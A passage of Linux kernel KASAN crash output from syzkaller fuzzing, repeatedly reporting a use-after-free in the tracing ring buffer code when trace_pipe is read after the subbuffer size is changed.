tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
Read of size 1 at addr ffff888119b6ec26 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
